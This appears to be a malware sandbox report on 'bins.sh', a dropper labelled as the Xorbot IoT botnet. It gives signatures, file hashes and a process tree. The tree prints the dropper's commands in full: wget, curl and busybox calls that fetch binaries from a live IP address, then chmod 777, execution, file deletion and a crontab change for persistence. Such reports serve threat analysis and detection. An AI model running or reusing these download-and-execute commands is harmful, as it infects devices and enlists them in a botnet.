Analysis

  • max time kernel
    123s
  • max time network
    124s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03-12-2024 02:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1da16902d7c5601131994e6c7188579b

  • SHA1

    66658b1510c47b2293d64f6f29ffadfaac1ba126

  • SHA256

    a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6

  • SHA512

    c9959bb121b46e0ff62f2750ea6927810ae204a778e28ba2db6f9a2dee9b38296642c45af45fcb9f8f25c84402e45e50009c3c119db97b18d06ea84dda785fb4

  • SSDEEP

    192:k2c41phAQq2Si/XdccYcXTOU1phAQkLG2Si/XU/YO:k2c41phAQq2Si/XdccYcXTOU1phAQkLC

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          ./OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            ./p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:757
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:759
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:760
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:763
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:764
              • /bin/rm
                rm p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                2⤵
                  PID:766
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  2⤵
                  • System Network Configuration Discovery
                  PID:771
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  2⤵
                  • System Network Configuration Discovery
                  PID:772
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:775
                • /bin/chmod
                  chmod 777 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:780
                • /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  ./vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:781
                • /bin/rm
                  rm vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  2⤵
                  • System Network Configuration Discovery
                  PID:785
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                  2⤵
                    PID:786
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                    2⤵
                      PID:789
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /bin/chmod
                      chmod 777 trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                      • File and Directory Permissions Modification
                      PID:797
                    • /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      ./trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                      • Executes dropped EXE
                      PID:798
                    • /bin/rm
                      rm trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                        PID:801
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                        2⤵
                          PID:802
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                          2⤵
                            PID:806
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                            • Writes file to tmp directory
                            PID:807
                          • /bin/chmod
                            chmod 777 u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                            • File and Directory Permissions Modification
                            PID:816
                          • /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            ./u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                            • Executes dropped EXE
                            PID:817
                          • /bin/rm
                            rm u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                              PID:818
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                              2⤵
                                PID:819
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                2⤵
                                  PID:821
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:823
                                • /bin/chmod
                                  chmod 777 OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:826
                                • /tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  ./OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                  • Executes dropped EXE
                                  PID:827
                                • /bin/rm
                                  rm OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                    PID:830
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                    2⤵
                                      PID:831
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                      2⤵
                                        PID:832
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:833
                                      • /bin/chmod
                                        chmod 777 K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:834
                                      • /tmp/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                        ./K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                        2⤵
                                        • Executes dropped EXE
                                        PID:835
                                      • /bin/rm
                                        rm K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                        2⤵
                                          PID:837
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/iU9EW3vUa4VxJkNBH58KfpWA2sEFQs3oPv
                                          2⤵
                                            PID:838

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

                                          Filesize

                                          119KB

                                          MD5

                                          1b166b95f9cb4b079ef1b9ec8363ddf3

                                          SHA1

                                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                                          SHA256

                                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                          SHA512

                                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                        • /tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM

                                          Filesize

                                          122KB

                                          MD5

                                          cd3d4b9c643e5b473fb4d88ed05f0716

                                          SHA1

                                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                                          SHA256

                                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                          SHA512

                                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                        • /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi

                                          Filesize

                                          112KB

                                          MD5

                                          05d7857dcead18bbd86d2935f591873c

                                          SHA1

                                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                                          SHA256

                                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                          SHA512

                                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                        • /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA

                                          Filesize

                                          151KB

                                          MD5

                                          6c583043d91c55aa470c08c87058e917

                                          SHA1

                                          abf65a5b9bba69980278ad09356e53de8bb89439

                                          SHA256

                                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                          SHA512

                                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                        • /var/spool/cron/crontabs/tmp.JN8sby

                                          Filesize

                                          210B

                                          MD5

                                          156298344d875d955142eabd1af6c340

                                          SHA1

                                          f63635c4fa219a23e7109ef0435f6f96531c5b33

                                          SHA256

                                          e0d796c2820a97bd3ae98ef5d46bbe8f303d1c27f2b076b0f3a53cc336d585c8

                                          SHA512

                                          85ed4f6e1ba5a2a59df64cfadb341d962f24ce19d742a532808b487de64bf40e66da3847da68ee357e303f5c150fcc12700346400d7671f76eae94fd8610ca17